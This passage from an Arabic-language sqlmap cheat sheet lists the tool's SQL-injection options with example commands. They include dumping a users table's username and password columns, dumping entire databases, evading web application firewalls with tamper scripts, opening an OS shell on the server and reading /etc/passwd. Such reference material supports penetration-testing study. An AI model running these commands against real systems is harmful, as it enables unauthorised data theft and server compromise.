التحقق مما إذا كان المستخدم الحالي لقاعدة البيانات يمتلك صلاحيات الإدارة (Admin/Root). | sqlmap -u "URL" --is-dba |
--users |
استخراج قائمة بأسماء مستخدمي قاعدة البيانات. | sqlmap -u "URL" --users |
--dbs |
استخراج واستعراض جميع قواعد البيانات المتاحة على السيرفر. | sqlmap -u "URL" --dbs |
-D |
تحديد اسم قاعدة بيانات معينة للعمل عليها واستخراج بياناتها. | sqlmap -u "URL" -D target_db --tables |
--tables أو -T |
استعراض الجداول الموجودة داخل قاعدة بيانات تم تحديدها مسبقاً. | sqlmap -u "URL" -D target_db -T users --columns |
--columns أو -C |
استعراض الأعمدة الموجودة داخل جدول معين. | sqlmap -u "URL" -D target_db -T users -C username,password --dump |
--dump |
استخراج (تفريغ) محتويات البيانات من جدول معين. | sqlmap -u "URL" -D target_db -T users --dump |
--dump-all |
استخراج كل محتويات قاعدة البيانات بالكامل (عملية بطيئة ومكثفة جداً للموارد). | sqlmap -u "URL" --dump-all |
-a أو --all |
جلب كل المعلومات المتاحة (Banner, Users, DBs, Tables...). | sqlmap -u "URL" -a |
4. الخيارات المتقدمة (Advanced & Evasion)
| الأمر / الخيار | الوصف | مثال للاستخدام |
|---|---|---|
--tamper |
استخدام سكربتات تعديل (Tamper Scripts) لتخطي الجدران النارية وأنظمة الحماية (WAF/Filters). | sqlmap -u "URL" --tamper=space2comment |
--os-shell |
محاولة فتح Shell تفاعلي على نظام التشغيل الخاص بالسيرفر لتنفيذ أوامر النظام. | sqlmap -u "URL" --os-shell |
--file-read |
قراءة ملفات من على السيرفر المستهدف. | sqlmap -u "URL" --file-read="/etc/passwd" |
--batch |
تشغيل الأداة في الوضع التلقائي بالكامل واختيار الإجابات الافتراضية للأسئلة بدون تدخل منك. | sqlmap -u "URL" --batch |